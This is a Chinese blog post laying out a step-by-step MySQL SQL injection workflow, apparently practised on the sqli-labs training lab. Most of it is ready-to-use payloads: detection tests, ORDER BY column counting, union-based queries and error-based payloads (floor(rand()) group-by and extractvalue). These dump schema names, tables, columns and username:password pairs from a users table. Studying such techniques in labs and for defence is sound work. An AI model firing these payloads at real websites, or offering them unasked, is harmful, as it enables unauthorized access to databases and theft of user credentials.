首页 > 数据库 >MYSQL注入流程

MYSQL注入流程

时间:2023-03-24 17:45:51浏览次数:39  
标签:流程 select --+ MYSQL schema id concat 注入

一、判断注入点(与数据库有交互的地方)

浏览网站各个地方-->查找有可控参数的地方(特别注意url)并观察网站页面变化情况

 

 根据参数传输方式传输的不同,可以把SQL注入分为GET型注入和POST型注入

GET型注入

url中传参

在一些页面,比如说文章列表,商品列表,有类似?id=1的那些地方

POST型注入

表单提交

这里一般都是那种登录框,登录框有用户名和密码两个框,这两个框都有可能存在注入点

例:nid=3与nid=7,页面回显不一样,就说明是动态传参,与数据库有交互,可能会有注入

二、判断是否有注入

输入nid=7-4

发现与nid=3页面回显一样,说明有注入

(亮图不方便,自己可以想象一下)

三、判断注入类型

整形判断

and1=1/and1=2回显页面不同,说明为整形

字符型判断

输入nid=1',报错,说明为字符型注入,输入nid=1'--+,回显正常,说明为以'闭合的字符型

输入nid=1',报错,说明为字符型注入,输入nid=1'--+,回显异常,说明闭合方式不是',接着尝试” ) ‘’) ') 等等

四、判断显示列

uid=1 order by ***--+(用二分法判断)

id=1 order by 3 -- +

 

 

id=1 order by 4-- +

 

 

 

说明有三列

五、显示位

目的:判断注入方式

uid=-1 union select 1,2,3--+

有显示位---->联合查询注入

无显示位,有报错----->报错注入

无显示位,无报错------>布尔盲注/时间盲注

注:

联合查询注入需要参数异常

union使查询结果合并起来,占据查询结果第一行,数据库默认只输出集中在第一行的结果

uid=-1,使原有的SQL语句出现查询异常(查询异常不会使语句报错,只会让查询结果为空)进而可以使数据库查询我们插入的语句

时间盲注/布尔盲注参数不能异常

 

 

联合查询注入

获取当前数据库以及用户

id=-1' union select 1,database(),user()--+

获取所有数据库

?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+

获取数据库中表信息

?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),user()--+

获取user表中的列信息

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

获取字段数据信息

?id=-1' union select 1,username,password from users where id=3--+

报错注入

查询所有数据库

?id=1' and (select 1 from (select count(*),concat((select schema_name from information_schema.schemata limit 0,1),floor (rand()*2)) as x from information_schema.tables group by x) as a) --+

查询当前数据库

?id=1' and (select 1 from (select count(*),concat((database()),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

查询表名

?id=1' and (select 1 from (select count(*),concat(((select concat(table_name) from information_schema.tables where table_schema='security' limit 3,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

查询字段

?id=1' and (select 1 from (select count(*),concat((select concat(column_name,';') from information_schema.columns where table_name='users' limit 0,1),floor(rand()*2)) as x from information_schema.columns group by x) as a) --+

查询具体函数

?id=1'andextractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))--+

not in查询

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','Angelina'))))--+

limit查询

?id=1' and (select 1 from (select count(*),concat((select(select concat(cast(concat(username,0x3a,password) as char),0x7e)) from users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+++

标签:流程,select,--+,MYSQL,schema,id,concat,注入
From: https://www.cnblogs.com/cyy00/p/17252865.html

相关文章